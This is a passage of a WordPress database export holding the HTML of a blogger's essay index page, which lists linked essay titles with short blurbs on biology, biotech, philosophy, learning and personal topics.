wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-list-of-health-problems-that-should-be-solved-pet-first/\">A list of health problems that should be solved pet first</a> - Trying to recruit people to join animal health and solve these problems. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:20:17','2025-07-03 19:20:17','',22,'https://trevorklee.com/?p=484',0,'revision','',0),
(485,1,'2025-07-03 19:20:26','2025-07-03 19:20:26','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of 